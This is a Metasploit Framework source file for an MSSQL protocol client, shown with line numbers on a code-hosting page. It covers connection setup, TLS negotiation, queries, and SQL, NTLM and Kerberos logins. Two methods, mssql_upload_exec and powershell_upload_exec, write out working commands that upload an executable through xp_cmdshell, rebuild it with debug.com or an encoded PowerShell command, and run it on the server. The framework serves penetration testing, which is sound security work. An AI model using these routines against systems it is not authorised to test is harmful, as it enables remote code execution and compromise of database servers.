Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/rex/proto/mssql/client.rb
32908 views
1
require 'metasploit/framework/tcp/client'
2
require 'rex/proto/mssql/client_mixin'
3
require 'rex/text'
4
require 'msf/core/exploit'
5
require 'msf/core/exploit/remote'
6
require 'msf/core/exploit/remote/kerberos/clock_skew'
7
8
module Rex
9
module Proto
10
module MSSQL
11
class Client
12
include Metasploit::Framework::Tcp::Client
13
include Rex::Proto::MSSQL::ClientMixin
14
include Rex::Text
15
include Msf::Exploit::Remote::MSSQL_COMMANDS
16
include Msf::Exploit::Remote::Udp
17
include Msf::Exploit::Remote::NTLM::Client
18
include Msf::Exploit::Remote::Kerberos::Ticket::Storage
19
include Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options
20
21
attr_accessor :tdsencryption
22
attr_accessor :sock
23
attr_accessor :auth
24
attr_accessor :ssl
25
attr_accessor :ssl_version
26
attr_accessor :ssl_verify_mode
27
attr_accessor :ssl_cipher
28
# @!attribute sslkeylogfile
29
# @return [String] The SSL key log file path
30
attr_accessor :sslkeylogfile
31
attr_accessor :proxies
32
attr_accessor :connection_timeout
33
attr_accessor :send_lm
34
attr_accessor :send_ntlm
35
attr_accessor :send_spn
36
attr_accessor :use_lmkey
37
attr_accessor :use_ntlm2_session
38
attr_accessor :use_ntlmv2
39
attr_reader :framework_module
40
attr_reader :framework
41
# @!attribute max_send_size
42
# @return [Integer] The max size of the data to encapsulate in a single packet
43
attr_accessor :max_send_size
44
# @!attribute send_delay
45
# @return [Integer] The delay between sending packets
46
attr_accessor :send_delay
47
# @!attribute initial_connection_info
48
# @return [Hash] Key-value pairs received from the server during the initial MSSQL connection.
49
# See the spec here: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/b46a581a-39de-4745-b076-ec4dbb7d13ec
50
attr_accessor :initial_connection_info
51
# @!attribute current_database
52
# @return [String] The database name this client is currently connected to.
53
attr_accessor :current_database
54
55
def initialize(framework_module, framework, rhost, rport = 1433, proxies = nil, sslkeylogfile: nil)
56
@framework_module = framework_module
57
@framework = framework
58
@connection_timeout = framework_module.datastore['ConnectTimeout'] || 30
59
@max_send_size = framework_module.datastore['TCP::max_send_size'] || 0
60
@send_delay = framework_module.datastore['TCP::send_delay'] || 0
61
62
@auth = framework_module.datastore['Mssql::Auth'] || Msf::Exploit::Remote::AuthOption::AUTO
63
@hostname = framework_module.datastore['Mssql::Rhostname'] || ''
64
65
@tdsencryption = framework_module.datastore['TDSENCRYPTION'] || false
66
@hex2binary = framework_module.datastore['HEX2BINARY'] || ''
67
68
@domain_controller_rhost = framework_module.datastore['DomainControllerRhost'] || ''
69
@rhost = rhost
70
@rport = rport
71
@proxies = proxies
72
@sslkeylogfile = sslkeylogfile
73
@current_database = ''
74
@initial_connection_info = {errors: []}
75
end
76
77
def connect(global = true, opts={})
78
dossl = false
79
if(opts.has_key?('SSL'))
80
dossl = opts['SSL']
81
else
82
dossl = ssl
83
end
84
85
@mstds_channel = Rex::Proto::MsTds::Channel.new(
86
'PeerHost' => opts['RHOST'] || rhost,
87
'PeerHostname' => opts['SSLServerNameIndication'] || opts['RHOSTNAME'],
88
'PeerPort' => (opts['RPORT'] || rport).to_i,
89
'LocalHost' => opts['CHOST'] || chost || "0.0.0.0",
90
'LocalPort' => (opts['CPORT'] || cport || 0).to_i,
91
'SSL' => dossl,
92
'SSLVersion' => opts['SSLVersion'] || ssl_version,
93
'SSLVerifyMode' => opts['SSLVerifyMode'] || ssl_verify_mode,
94
'SSLKeyLogFile' => opts['SSLKeyLogFile'] || sslkeylogfile,
95
'SSLCipher' => opts['SSLCipher'] || ssl_cipher,
96
'Proxies' => proxies,
97
'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i,
98
'Context' => { 'Msf' => framework, 'MsfExploit' => framework_module }
99
)
100
nsock = @mstds_channel.lsock
101
# enable evasions on this socket
102
set_tcp_evasions(nsock)
103
104
# Set this socket to the global socket as necessary
105
self.sock = nsock if (global)
106
107
return nsock
108
end
109
110
# MS SQL Server only supports Windows and Linux
111
def map_compile_os_to_platform(server_info)
112
return '' if server_info.blank?
113
114
os_data = server_info.downcase.encode(::Encoding::BINARY)
115
116
if os_data.match?('linux')
117
platform = Msf::Platform::Linux.realname
118
elsif os_data.match?('windows')
119
platform = Msf::Platform::Windows.realname
120
elsif os_data.match?('win')
121
platform = Msf::Platform::Windows.realname
122
else
123
platform = os_data
124
end
125
platform
126
end
127
128
# MS SQL Server currently only supports 64 bit but older installs may be x86
129
def map_compile_arch_to_architecture(server_info)
130
return '' if server_info.blank?
131
132
arch_data = server_info.downcase.encode(::Encoding::BINARY)
133
134
if arch_data.match?('x64')
135
arch = ARCH_X86_64
136
elsif arch_data.match?('x86')
137
arch = ARCH_X86
138
elsif arch_data.match?('64')
139
arch = ARCH_X86_64
140
elsif arch_data.match?('32-bit')
141
arch = ARCH_X86
142
else
143
arch = arch_data
144
end
145
arch
146
end
147
148
# @return [Hash] Detect the platform and architecture of the MSSQL server:
149
# * :arch [String] The server architecture.
150
# * :platform [String] The server platform.
151
def detect_platform_and_arch
152
result = {}
153
154
version_string = query('select @@version')[:rows][0][0]
155
arch = version_string[/\b\d+\.\d+\.\d+\.\d+\s\(([^)]*)\)/, 1] || version_string
156
plat = version_string[/\bon\b\s+(\w+)/, 1] || version_string
157
158
result[:arch] = map_compile_arch_to_architecture(arch)
159
result[:platform] = map_compile_os_to_platform(plat)
160
result
161
end
162
163
#
164
# This method connects to the server over TCP and attempts
165
# to authenticate with the supplied username and password
166
# The global socket is used and left connected after auth
167
#
168
169
def mssql_login(user='sa', pass='', db='', domain_name='')
170
case auth
171
when Msf::Exploit::Remote::AuthOption::AUTO
172
if domain_name.blank?
173
login_sql(user, pass, db, domain_name)
174
else
175
login_ntlm(user, pass, db, domain_name)
176
end
177
when Msf::Exploit::Remote::AuthOption::KERBEROS
178
login_kerberos(user, pass, db, domain_name)
179
when Msf::Exploit::Remote::AuthOption::NTLM
180
login_ntlm(user, pass, db, domain_name)
181
when Msf::Exploit::Remote::AuthOption::PLAINTEXT
182
login_sql(user, pass, db, domain_name)
183
end
184
end
185
186
#
187
#this method send a prelogin packet and check if encryption is off
188
#
189
def mssql_prelogin(enc_error=false)
190
disconnect if self.sock
191
connect
192
193
pkt = mssql_prelogin_packet
194
195
resp = mssql_send_recv(pkt)
196
197
idx = 0
198
data = parse_prelogin_response(resp)
199
200
unless data[:encryption]
201
framework_module.print_error("Unable to parse encryption req " \
202
"during pre-login, this may not be a MSSQL server")
203
data[:encryption] = ENCRYPT_NOT_SUP
204
end
205
206
##########################################################
207
# Our initial prelogin pkt above said we didnt support
208
# encryption (it's quicker and the default).
209
#
210
# Per the matrix on the following link, SQL Server will
211
# terminate the connection if it does require TLS,
212
# otherwise it will accept an unencrypted session. As
213
# part of this initial response packet, it also returns
214
# ENCRYPT_REQ.
215
#
216
# https://msdn.microsoft.com\
217
# /en-us/library/ee320519(v=sql.105).aspx
218
#
219
##########################################################
220
221
if data[:encryption] == ENCRYPT_REQ
222
# restart prelogin process except that we tell SQL Server
223
# than we are now able to encrypt
224
disconnect if self.sock
225
connect
226
227
# offset 35 is the flag - turn it on
228
pkt[35] = [ENCRYPT_ON].pack('C')
229
self.tdsencryption = true
230
framework_module.print_status("TLS encryption has " \
231
"been enabled based on server response.")
232
233
resp = mssql_send_recv(pkt)
234
data = parse_prelogin_response(resp)
235
236
unless data[:encryption]
237
framework_module.print_error("Unable to parse encryption req " \
238
"during pre-login, this may not be a MSSQL server")
239
data[:encryption] = ENCRYPT_NOT_SUP
240
end
241
end
242
data
243
end
244
245
def query(sqla, doprint=false, opts={})
246
info = { :sql => sqla }
247
opts[:timeout] ||= 15
248
pkts = []
249
idx = 0
250
251
bsize = 4096 - 8
252
chan = 0
253
254
@cnt ||= 0
255
@cnt += 1
256
257
sql = Rex::Text.to_unicode(sqla)
258
while(idx < sql.length)
259
buf = sql[idx, bsize]
260
flg = buf.length < bsize ? "\x01" : "\x00"
261
pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf
262
idx += bsize
263
264
end
265
266
resp = mssql_send_recv(pkts.join, opts[:timeout])
267
mssql_parse_reply(resp, info)
268
mssql_print_reply(info) if doprint
269
info
270
end
271
272
def mssql_upload_exec(exe, debug=false)
273
hex = exe.unpack("H*")[0]
274
275
var_bypass = Rex::Text.rand_text_alpha(8)
276
var_payload = Rex::Text.rand_text_alpha(8)
277
278
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
279
print_status("Writing the debug.com loader to the disk...")
280
h2b = File.read(@hex2binary, File.size(@hex2binary))
281
h2b.gsub!('KemneE3N', "%TEMP%\\#{var_bypass}")
282
h2b.split("\n").each do |line|
283
mssql_xpcmdshell("#{line}", false)
284
end
285
286
print_status("Converting the debug script to an executable...")
287
mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)
288
mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)
289
290
print_status("Uploading the payload, please be patient...")
291
idx = 0
292
cnt = 500
293
while(idx < hex.length - 1)
294
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
295
idx += cnt
296
end
297
298
print_status("Converting the encoded payload...")
299
mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
300
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
301
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
302
303
print_status("Executing the payload...")
304
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
305
end
306
307
def powershell_upload_exec(exe, debug=false)
308
# hex converter
309
hex = exe.unpack("H*")[0]
310
# create random alpha 8 character names
311
#var_bypass = rand_text_alpha(8)
312
var_payload = rand_text_alpha(8)
313
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
314
# our payload converter, grabs a hex file and converts it to binary for us through powershell
315
h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"
316
h2b_unicode=Rex::Text.to_unicode(h2b)
317
# base64 encode it, this allows us to perform execution through powershell without registry changes
318
h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
319
print_status("Uploading the payload #{var_payload}, please be patient...")
320
idx = 0
321
cnt = 500
322
while(idx < hex.length - 1)
323
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
324
idx += cnt
325
end
326
print_status("Converting the payload utilizing PowerShell EncodedCommand...")
327
mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
328
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
329
print_status("Executing the payload...")
330
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
331
print_status("Be sure to cleanup #{var_payload}.exe...")
332
end
333
334
# @param [ENVCHANGE] envchange The ENVCHANGE type to get the information for.
335
# @return [Hash] Returns a hash of values if the provided type exists.
336
# @return [Hash] Returns the whole connection info if envchange is nil.
337
# @return [Hash] Returns an empty hash if the provided type is not present.
338
def initial_info_for_envchange(envchange: nil)
339
return self.initial_connection_info if envchange.nil?
340
return nil unless (self.initial_connection_info && self.initial_connection_info.is_a?(::Hash))
341
342
self.initial_connection_info[:envs]&.select { |hash| hash[:type] == envchange }&.first || {}
343
end
344
345
def peerhost
346
rhost
347
end
348
349
def peerport
350
rport
351
end
352
353
def peerinfo
354
Rex::Socket.to_authority(peerhost, peerport)
355
end
356
357
protected
358
359
def rhost
360
@rhost
361
end
362
363
def rport
364
@rport
365
end
366
367
def chost
368
return nil
369
end
370
371
def cport
372
return nil
373
end
374
375
private
376
377
def login_kerberos(user, pass, db, domain_name)
378
prelogin_data = mssql_prelogin
379
380
framework_module.fail_with(Msf::Exploit::Failure::BadConfig, 'The Mssql::Rhostname option is required when using kerberos authentication.') if @hostname.blank?
381
kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::MSSQL.new(
382
host: @domain_controller_rhost,
383
hostname: @hostname,
384
mssql_port: rport,
385
proxies: proxies,
386
realm: domain_name,
387
username: user,
388
password: pass,
389
framework: framework,
390
framework_module: framework_module,
391
ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::WriteOnly.new(framework: framework, framework_module: framework_module),
392
clock_skew: Msf::Exploit::Remote::Kerberos::ClockSkew.parse(framework_module.datastore['KrbClockSkew'])
393
)
394
395
kerberos_result = kerberos_authenticator.authenticate
396
397
pkt_hdr = MsTdsHeader.new(
398
packet_type: MsTdsType::TDS7_LOGIN,
399
packet_id: 1
400
)
401
402
pkt_body = MsTdsLogin7.new(
403
option_flags_2: {
404
f_int_security: 1
405
},
406
server_name: rhost,
407
database: db
408
)
409
410
pkt_body.sspi = kerberos_result[:security_blob].bytes
411
412
pkt_hdr.packet_length += pkt_body.num_bytes
413
pkt = pkt_hdr.to_binary_s + pkt_body.to_binary_s
414
415
@mstds_channel.starttls if tdsencryption == true
416
417
resp = mssql_send_recv(pkt)
418
419
info = {:errors => []}
420
info = mssql_parse_reply(resp, info)
421
self.initial_connection_info = info
422
self.initial_connection_info[:prelogin_data] = prelogin_data
423
424
return false if not info
425
426
info[:login_ack] ? true : false
427
end
428
429
def login_ntlm(user, pass, db, domain_name)
430
prelogin_data = mssql_prelogin
431
432
pkt_hdr = MsTdsHeader.new(
433
packet_type: MsTdsType::TDS7_LOGIN,
434
packet_id: 1
435
)
436
437
pkt_body = MsTdsLogin7.new(
438
option_flags_2: {
439
f_int_security: 1
440
},
441
server_name: rhost,
442
database: db
443
)
444
445
ntlm_client = ::Net::NTLM::Client.new(
446
user,
447
pass,
448
workstation: Rex::Text.rand_text_alpha(rand(1..8)),
449
domain: domain_name,
450
)
451
type1 = ntlm_client.init_context
452
# SQL 2012, at least, does not support KEY_EXCHANGE
453
type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]
454
455
pkt_body.sspi = type1.serialize.bytes
456
457
pkt_hdr.packet_length += pkt_body.num_bytes
458
pkt = pkt_hdr.to_binary_s + pkt_body.to_binary_s
459
460
@mstds_channel.starttls if tdsencryption == true
461
462
# Rem : One have to set check_status to false here because sql server sp0 (and maybe above)
463
# has a strange behavior that differs from the specifications
464
# upon receiving the ntlm_negotiate request it send an ntlm_challenge but the status flag of the tds packet header
465
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
466
resp = mssql_send_recv(pkt, 15, false)
467
468
# Strip the TDS header
469
resp = resp[3..-1]
470
type3 = ntlm_client.init_context([resp].pack('m'))
471
type3_blob = type3.serialize
472
473
# Create an SSPIMessage
474
pkt_hdr = MsTdsHeader.new(
475
type: MsTdsType::SSPI_MESSAGE,
476
packet_id: 1
477
)
478
479
pkt_hdr.packet_length += type3_blob.length
480
pkt = pkt_hdr.to_binary_s + type3_blob
481
482
resp = mssql_send_recv(pkt)
483
484
info = {:errors => []}
485
info = mssql_parse_reply(resp, info)
486
self.initial_connection_info = info
487
self.initial_connection_info[:prelogin_data] = prelogin_data
488
489
return false if not info
490
info[:login_ack] ? true : false
491
end
492
493
def login_sql(user, pass, db, _domain_name)
494
prelogin_data = mssql_prelogin
495
496
pkt_hdr = MsTdsHeader.new(
497
packet_type: MsTdsType::TDS7_LOGIN,
498
packet_id: 1
499
)
500
501
pkt_body = MsTdsLogin7.new(
502
server_name: rhost,
503
database: db,
504
username: user,
505
password: pass
506
)
507
508
pkt_hdr.packet_length += pkt_body.num_bytes
509
pkt = pkt_hdr.to_binary_s + pkt_body.to_binary_s
510
511
@mstds_channel.starttls if tdsencryption
512
513
resp = mssql_send_recv(pkt)
514
515
info = {:errors => []}
516
info = mssql_parse_reply(resp, info)
517
self.initial_connection_info = info
518
self.initial_connection_info[:prelogin_data] = prelogin_data
519
520
return false if not info
521
info[:login_ack] ? true : false
522
end
523
end
524
525
end
526
end
527
end
528
529